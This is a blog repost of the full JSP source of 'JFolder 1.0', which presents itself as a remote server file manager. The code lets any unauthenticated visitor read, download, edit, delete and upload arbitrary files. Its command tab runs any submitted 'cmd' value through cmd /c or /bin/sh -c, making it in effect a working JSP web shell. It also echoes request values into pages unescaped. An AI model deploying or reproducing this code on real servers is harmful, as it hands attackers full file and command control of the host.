慈勤强的JFolder1.0版代码(JSP)

2004-12-1 07:29 693 0

摘要: 作者：慈勤强　来自：http://blog.csdn.net/cqq/ 这个版本主要是兼容了Unix、Linux等操作系统，真正的不再受系统平台的限制。在0.9测试版发布以后，很多朋友都给了我很好的...

关键词： nbsp String append line return File 文件 null new sbFile

作者：慈勤强　来自：http://blog.csdn.net/cqq/ 这个版本主要是兼容了Unix、Linux等操作系统，真正的不再受系统平台的限制。在0.9测试版发布以后，很多朋友都给了我很好的意见和建议，对于日常的应用，这个版本应该足够了在下一个版本中，会增加更多的功能。在此感谢 Boris von Loesch,古典Lam,CitySuSu等人的帮助 <%/**JFileMan V1.0 windows platform@Filename： JFolder.jsp @Description：一个简单的系统文件目录显示程序，类似于资源管理器，提供基本的文件操作，不过功能弱多了。@Author： Steven Cee@Email ： [email protected]@Bugs : 下载时，中文文件名无法正常显示；Unix操作系统上传*/%><%@page errorPage="/"%><%@page contentType="text/html;charset=gb2312"%><%@page import="java.io.*,java.util.*,java.net.*" %><%!private final static int languageNo=1; //Language,0 : Chinese; 1:EnglishString strThisFile="JFileMan.jsp";String strSeparator = File.separator;String[] authorInfo={" <font color=red> 写的不好，将就着用吧 - - by 慈勤强 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};String[] strFileManage = {"文件管理","File Management"};String[] strCommand = {"CMD 命令","Command Window"};String[] strSysProperty = {"系统属性","System Property"};String[] strHelp = {"帮助","Help"};String[] strParentFolder = {"上级目录","Parent Folder"};String[] strCurrentFolder= {"当前目录","Current Folder"};String[] strDrivers = {"驱动器","Drivers"};String[] strFileName = {"文件名称","File Name"};String[] strFileSize = {"文件大小","File Size"};String[] strLastModified = {"最后修改","Last Modified"};String[] strFileOperation= {"文件操作","Operations"};String[] strFileEdit = {"修改","Edit"};String[] strFileDown = {"下载","Download"};String[] strFileCopy = {"复制","Move"};String[] strFileDel = {"删除","Delete"};String[] strExecute = {"执行","Execute"};String[] strBack = {"返回","Back"};String[] strFileSave = {"保存","Save"}; public class FileHandler{ private String strAction=""; private String strFile=""; void FileHandler(String action,String f) { }} public static class UploadMonitor { static Hashtable uploadTable = new Hashtable(); static void set(String fName, UplInfo info) { uploadTable.put(fName, info); } static void remove(String fName) { uploadTable.remove(fName); } static UplInfo getInfo(String fName) { UplInfo info = (UplInfo) uploadTable.get(fName); return info; }} public class UplInfo { public long totalSize; public long currSize; public long starttime; public boolean aborted; public UplInfo() { totalSize = 0l; currSize = 0l; starttime = System.currentTimeMillis(); aborted = false; } public UplInfo(int size) { totalSize = size; currSize = 0; starttime = System.currentTimeMillis(); aborted = false; } public String getUprate() { long time = System.currentTimeMillis() - starttime; if (time != 0) { long uprate = currSize * 1000 / time; return convertFileSize(uprate) + "/s"; } else return "n/a"; } public int getPercent() { if (totalSize == 0) return 0; else return (int) (currSize * 100 / totalSize); } public String getTimeElapsed() { long time = (System.currentTimeMillis() - starttime) / 1000l; if (time - 60l >= 0){ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time<10 ? "0" + time + "s": time + "s"; } public String getTimeEstimated() { if (currSize == 0) return "n/a"; long time = System.currentTimeMillis() - starttime; time = totalSize * time / currSize; time /= 1000l; if (time - 60l >= 0){ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time<10 ? "0" + time + "s": time + "s"; } } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray) { fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); }} // A Class with methods used to process a ServletInputStreampublic class HttpMultiPartParser { private final String lineSeparator = System.getProperty("line.separator", "\n"); private final int ONE_MB = 1024 * 1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, int clength) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( "\"" + boundary + "\" is an illegal boundary indicator"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); boolean isFile = false; if (saveFiles) { // Create the required directory (including parent dirs) File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException( "Boundary not found; boundary = " + boundary + ", line = " + line); while (line != null) { if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( "Bad data in second line"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()) { field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1) { if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { fileInfo.name = paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0) { fileInfo.clientFileName = value; isFile = true; } else { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0) { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } boolean skipBlankLine = true; if (isFile) { line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else { stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in third line"); stLine.nextToken(); // Content-Type fileInfo.fileContentType = stLine.nextToken(); } } if (skipBlankLine) { line = getLine(is); if (line == null) return dataTable; } if (!isFile) { line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); // If parameter is dir, change saveInDir to dir if (paramName.equals("dir")) saveInDir = line; line = getLine(is); continue; } try { UplInfo uplInfo = new UplInfo(clength); UploadMonitor.set(fileInfo.clientFileName, uplInfo); OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent) { if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; uplInfo.aborted = true; break; } if (compareBoundary(boundary, currentLine)) { os.write(previousLine, 0, read - 2); line = new String(currentLine, 0, read3); break; } else { os.write(previousLine, 0, read); uplInfo.currSize += read; temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; }//end else }//end while os.flush(); os.close(); if (!saveFiles) { ByteArrayOutputStream baos = (ByteArrayOutputStream) os; fileInfo.setFileContents(baos.toByteArray()); } else fileInfo.file = new File(path); dataTable.put(paramName, fileInfo); uplInfo.currSize = uplInfo.totalSize; }//end try catch (IOException e) { throw e; } } return dataTable; } /** * Compares boundary string to byte array */ private boolean compareBoundary(String boundary, byte ba[]) { byte b; if (boundary == null || ba == null) return false; for (int i = 0; i < boundary.length(); i++) if ((byte) boundary.charAt(i) != ba[i]) return false; return true; } /** Convenience method to read HTTP header lines */ private synchronized String getLine(ServletInputStream sis) throws IOException { byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1) { line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); } return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException { String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException( "dir or fileName is null"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); }} //End of class HttpMultiPartParser String formatPath(String p){ StringBuffer sb=new StringBuffer(); for (int i = 0; i < p.length(); i++) { if(p.charAt(i)=='\\') { sb.append("\\\\"); } else { sb.append(p.charAt(i)); } } return sb.toString();} /** * Converts some important chars (int) to the corresponding html string */ static String conv2Html(int i) { if (i == '&') return "&"; else if (i == '<') return "<"; else if (i == '>') return ">"; else if (i == '"') return """; else return "" + (char) i; } /** * Converts a normal string to a html conform string */ static String htmlEncode(String st) { StringBuffer buf = new StringBuffer(); for (int i = 0; i < st.length(); i++) { buf.append(conv2Html(st.charAt(i))); } return buf.toString(); }String getDrivers()/**Windows系统上取得可用的所有逻辑盘*/{ StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); File roots[]=File.listRoots(); for(int i=0;i<roots.length;i++) { sb.append(" <a href=\"javascript:doForm('','"+roots[i]+strSeparator+"','','','1','');\">"); sb.append(roots[i]+"</a> "); } return sb.toString();}static String convertFileSize(long filesize){ //bug 5.09M 显示5.9M String strUnit="Bytes"; String strAfterComma=""; int intDivisor=1; if(filesize>=1024*1024) { strUnit = "MB"; intDivisor=1024*1024; } else if(filesize>=1024) { strUnit = "KB"; intDivisor=1024; } if(intDivisor==1) return filesize + " " + strUnit; strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; if(strAfterComma=="") strAfterComma=".0"; return filesize / intDivisor + "." + strAfterComma + " " + strUnit;}%><%request.setCharacterEncoding("gb2312");String tabID = request.getParameter("tabID");String strDir = request.getParameter("path");String strAction = request.getParameter("action");String strFile = request.getParameter("file");String strPath = strDir + strSeparator + strFile; String strCmd = request.getParameter("cmd");StringBuffer sbEdit=new StringBuffer("");StringBuffer sbDown=new StringBuffer("");StringBuffer sbCopy=new StringBuffer("");StringBuffer sbSaveCopy=new StringBuffer("");StringBuffer sbNewFile=new StringBuffer("");String strOS = System.getProperty("os.name").toLowerCase();//out.print(strPath);if((tabID==null) || tabID.equals("")){ tabID = "1";} if(strDir==null||strDir.length()<1){ strDir = request.getRealPath(".");} if(strAction!=null && strAction.equals("down")){ File f=new File(strPath); if(f.length()==0) { sbDown.append("文件大小为 0 字节，就不用下了吧"); } else { response.setHeader("content-type","text/html; charset=ISO-8859-1"); response.setContentType("APPLICATION/OCTET-STREAM"); response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); out.clearBuffer(); int i; while ((i=fileInputStream.read()) != -1) { out.write(i); } fileInputStream.close(); out.close(); }} if(strAction!=null && strAction.equals("del")){ File f=new File(strPath); f.delete();} if(strAction!=null && strAction.equals("edit")){ File f=new File(strPath); BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n"); sbEdit.append("<input type=hidden name=action value=save >\r\n"); sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n"); sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n"); sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> "); sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'>  "+strPath+"\r\n"); sbEdit.append("<br><textarea rows=30 cols=90 name=content>"); String line=""; while((line=br.readLine())!=null) { sbEdit.append(htmlEncode(line)+"\r\n"); } sbEdit.append("</textarea>"); sbEdit.append("<input type=hidden name=path value="+strDir+">"); sbEdit.append("</form>");} if(strAction!=null && strAction.equals("save")){ File f=new File(strPath); BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); String strContent=request.getParameter("content"); bw.write(strContent); bw.close();}if(strAction!=null && strAction.equals("copy")){ File f=new File(strPath); sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n"); sbCopy.append("<input type=hidden name=action value=savecopy >\r\n"); sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n"); sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n"); sbCopy.append("原始文件： "+strPath+"<p>"); sbCopy.append("目标文件： <input type=text name=file2 size=40 value='"+strDir+"'><p>"); sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> "); sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n"); sbCopy.append("</form>");}if(strAction!=null && strAction.equals("savecopy")){ File f=new File(strPath); String strDesFile=request.getParameter("file2"); if(strDesFile==null || strDesFile.equals("")) { sbSaveCopy.append("<p><font color=red>目标文件错误。</font>"); } else { File f_des=new File(strDesFile); if(f_des.isFile()) { sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>"); } else { String strTmpFile=strDesFile; if(f_des.isDirectory()) { if(!strDesFile.endsWith(strSeparator)) { strDesFile=strDesFile+strSeparator; } strTmpFile=strDesFile+"cqq_"+strFile; } File f_des_copy=new File(strTmpFile); FileInputStream in1=new FileInputStream(f); FileOutputStream out1=new FileOutputStream(f_des_copy); byte[] buffer=new byte[1024]; int c; while((c=in1.read(buffer))!=-1) { out1.write(buffer,0,c); } in1.close(); out1.close(); sbSaveCopy.append("原始文件："+strPath+"<p>"); sbSaveCopy.append("目标文件："+strTmpFile+"<p>"); sbSaveCopy.append("<font color=red>复制成功！</font>"); } } sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");}if(strAction!=null && strAction.equals("newFile")){ String strF=request.getParameter("fileName"); String strType1=request.getParameter("btnNewFile"); String strType2=request.getParameter("btnNewDir"); String strType=""; if(strType1==null) { strType="Dir"; } else if(strType2==null) { strType="File"; } if(!strType.equals("") && !(strF==null || strF.equals(""))) { File f_new=new File(strF); if(strType.equals("File") && !f_new.createNewFile()) sbNewFile.append(strF+" 文件创建失败"); if(strType.equals("Dir") && !f_new.mkdirs()) sbNewFile.append(strF+" 目录创建失败"); } else { sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>"); }} if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))){ String tempdir="."; boolean error=false; response.setContentType("text/html"); HttpMultiPartParser parser = new HttpMultiPartParser(); int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); if (ht.get("cqqUploadFile") != null) { FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); File f1 = fi.file; UplInfo info = UploadMonitor.getInfo(fi.clientFileName); if (info != null && info.aborted) { f1.delete(); request.setAttribute("error", "Upload aborted"); } else { String path = (String) ht.get("path"); if(path!=null && !path.endsWith(strSeparator)) path = path + strSeparator; strDir = path; //out.println(path + f1.getName()); if (!f1.renameTo(new File(path + f1.getName()))) { request.setAttribute("error", "Cannot upload file."); out.println("error,upload "); error = true; f1.delete(); } } }}%><html><head><style type="text/css">td,select,input,body{font-size:9pt;}A { TEXT-DECORATION: none } #tablist{padding: 5px 0;margin-left: 0;margin-bottom: 0;margin-top: 0.1em;font:9pt;} #tablist li{list-style: none;display: inline;margin: 0;} #tablist li a{padding: 3px 0.5em;margin-left: 3px;border: 1px solid ;background: F6F6F6;} #tablist li a:link, #tablist li a:visited{color: navy;} #tablist li a.current{background: #EAEAFF;} #tabcontentcontainer{width: 100%;padding: 5px;border: 1px solid black;} .tabcontent{display:none;} </style> <script type="text/javascript"> var initialtab=[<%=tabID%>, "menu<%=tabID%>"] ////////Stop editting//////////////// function cascadedstyle(el, cssproperty, csspropertyNS){if (el.currentStyle)return el.currentStyle[cssproperty]else if (window.getComputedStyle){var elstyle=window.getComputedStyle(el, "")return elstyle.getPropertyValue(csspropertyNS)}} var previoustab="" function expandcontent(cid, aobject){if (document.getElementById){highlighttab(aobject)if (previoustab!="")document.getElementById(previoustab).style.display="none"document.getElementById(cid).style.display="block"previoustab=cidif (aobject.blur)aobject.blur()return false}elsereturn true} function highlighttab(aobject){if (typeof tabobjlinks=="undefined")collecttablinks()for (i=0; i<tabobjlinks.length; i++)tabobjlinks[i].style.backgroundColor=initTabcolorvar themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcoloraobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor} function collecttablinks(){var tabobj=document.getElementById("tablist")tabobjlinks=tabobj.getElementsByTagName("A")} function do_onload(){collecttablinks()initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])} if (window.addEventListener)window.addEventListener("load", do_onload, false)else if (window.attachEvent)window.attachEvent("onload", do_onload)else if (document.getElementById)window.onload=do_onload </script><script language="javascript"> function doForm(action,path,file,cmd,tab,content){ document.frmCqq.action.value=action; document.frmCqq.path.value=path; document.frmCqq.file.value=file; document.frmCqq.cmd.value=cmd; document.frmCqq.tabID.value=tab; document.frmCqq.content.value=content; if(action=="del") { if(confirm("确定要删除文件 "+file+" 吗？")) document.frmCqq.submit(); } else { document.frmCqq.submit(); }}</script> <title>JFoler 1.0 ---A jsp based web folder management tool by Steven Cee</title><head> <body> <form name="frmCqq" method="post" action=""><input type="hidden" name="action" value=""><input type="hidden" name="path" value=""><input type="hidden" name="file" value=""><input type="hidden" name="cmd" value=""><input type="hidden" name="tabID" value="2"><input type="hidden" name="content" value=""></form> <ul id="tablist"><li><a href="http://www.topronet.com" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li><li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li><li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li><li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>   <%=authorInfo[languageNo]%></ul> <%StringBuffer sbFolder=new StringBuffer("");StringBuffer sbFile=new StringBuffer("");try{ File objFile = new File(strDir); File list[] = objFile.listFiles(); if(objFile.getAbsolutePath().length()>3) { sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">"); sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n "); } for(int i=0;i<list.length;i++) { if(list[i].isDirectory()) { sbFolder.append("<tr><td > </td><td>"); sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">"); sbFolder.append(list[i].getName()+"</a><br></td></tr> "); } else { String strLen=""; String strDT=""; long lFile=0; lFile=list[i].length(); strLen = convertFileSize(lFile); Date dt=new Date(list[i].lastModified()); strDT=dt.toLocaleString(); sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>"); sbFile.append(""+list[i].getName()); sbFile.append("</td><td>"); sbFile.append(""+strLen); sbFile.append("</td><td>"); sbFile.append(""+strDT); sbFile.append("</td><td>"); sbFile.append("  <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileEdit[languageNo]+"</a> "); sbFile.append("  <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileDel[languageNo]+"</a> "); sbFile.append("  <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileDown[languageNo]+"</a> "); sbFile.append("  <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileCopy[languageNo]+"</a> "); } } }catch(Exception e){ out.println("<font color=red>操作失败： "+e.toString()+"</font>");}%> <DIV id="tabcontentcontainer"> <div id="menu3" class="tabcontent"><br> <br>    未完成<%=strOS%><br> <%//Properties prop = new Properties(System.getProperties()); //prop.list(out);%> <br>  </div> <div id="menu4" class="tabcontent"><br><p>一、功能说明</p><p>    jsp 版本的文件管理器，通过该程序可以远程管理服务器上的文件系统，您可以新建、修改、</p><p>删除、下载文件和目录。对于windows系统，还提供了命令行窗口的功能，可以运行一些程序，类似</p><p>与windows的cmd。</p><p> </p><p>二、测试</p><p>   <b>请大家在使用过程中，有任何问题，意见或者建议都可以给我留言，以便使这个程序更加完善和稳定，<p>留言地址为：<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b><p> </p><p>三、更新记录</p><p>    2004.11.29  V1.0测试版发布，修正了Linux系统上的一些问题，在Linux系统上也可以使用。</p><p>    2004.11.15  V0.9测试版发布，增加了一些基本的功能，文件编辑、复制、删除、下载、上传以及新建文件目录功能</p><p>    2004.10.27  暂时定为0.6版吧，提供了目录文件浏览功能和 cmd功能</p><p>    2004.09.20  第一个jsp 程序就是这个简单的显示目录文件的小程序</p><p> </p><p> </p></div> <div id="menu1" class="tabcontent"><%out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"： <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");%><table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"> <tr> <td width="25%" align="center" valign="top"> <table width="98%" border="0" cellspacing="0" cellpadding="3"> <%=sbFolder%> </tr> </table> </td> <td width="81%" align="left" valign="top"> <% if(strAction!=null && strAction.equals("edit")) { out.println(sbEdit.toString()); } else if(strAction!=null && strAction.equals("copy")) { out.println(sbCopy.toString()); } else if(strAction!=null && strAction.equals("down")) { out.println(sbDown.toString()); } else if(strAction!=null && strAction.equals("savecopy")) { out.println(sbSaveCopy.toString()); } else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals("")) { out.println(sbNewFile.toString()); } else { %> <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" > <tr bgcolor="#E7e7e6"> <td width="26%"><%=strFileName[languageNo]%></td> <td width="19%"><%=strFileSize[languageNo]%></td> <td width="29%"><%=strLastModified[languageNo]%></td> <td width="26%"><%=strFileOperation[languageNo]%></td> </tr> <%=sbFile%>  </table> </span> <% } %> </td> </tr> <form name="frmMake" action="" method="post"> <tr><td colspan=2 bgcolor=#FBFFC6> <input type="hidden" name="action" value="newFile"> <input type="hidden" name="path" value="<%=strDir%>"> <input type="hidden" name="file" value="<%=strFile%>"> <input type="hidden" name="cmd" value="<%=strCmd%>"> <input type="hidden" name="tabID" value="1"> <input type="hidden" name="content" value=""> <% if(!strDir.endsWith(strSeparator)) strDir = strDir + strSeparator; %> <input type="text" name="fileName" size=36 value="<%=strDir%>"> <input type="submit" name="btnNewFile" value="新建文件" onclick="frmMake.submit()" > <input type="submit" name="btnNewDir" value="新建目录" onclick="frmMake.submit()" > </form> <form name="frmUpload" enctype="multipart/form-data" action="" method="post"> <input type="hidden" name="action" value="upload"> <input type="hidden" name="path" value="<%=strDir%>"> <input type="hidden" name="file" value="<%=strFile%>"> <input type="hidden" name="cmd" value="<%=strCmd%>"> <input type="hidden" name="tabID" value="1"> <input type="hidden" name="content" value=""> <input type="file" name="cqqUploadFile" size="36"> <input type="submit" name="submit" value="上传"> </td></tr></form> </table></div><div id="menu2" class="tabcontent"> <%String line="";StringBuffer sbCmd=new StringBuffer(""); if(strCmd!=null) { try { //out.println(strCmd); String[] strShell=new String[2]; if(strOS.startsWith("win")) { strShell[0]="cmd"; strShell[1]="/c"; } else { strShell[0]="/bin/sh"; strShell[1]="-c"; } String[] strCommand=new String[3]; strCommand[0]=strShell[0]; strCommand[1]=strShell[1]; strCommand[2]=strCmd; System.out.println(strCommand); Process p=Runtime.getRuntime().exec(strCommand,null,new File(strDir)); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null) { sbCmd.append(line+"\r\n"); } } catch(Exception e) { System.out.println(e.toString()); }}else{ strCmd = "set";} %><form name="cmd" action="" method="post"> <input type="text" name="cmd" value="<%=strCmd%>" size=50><input type="hidden" name="tabID" value="2"><input type="hidden" name="path" value="<%=strDir%>"><input type=submit name=submit value="<%=strExecute[languageNo]%>"></form><%if(sbCmd!=null && sbCmd.toString().trim().equals("")==false){%> <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA><br> <%}%></DIV></div><br><br><center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.<br>Any question, please email me [email protected]

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慈勤强的JFolder1.0版代码(JSP)

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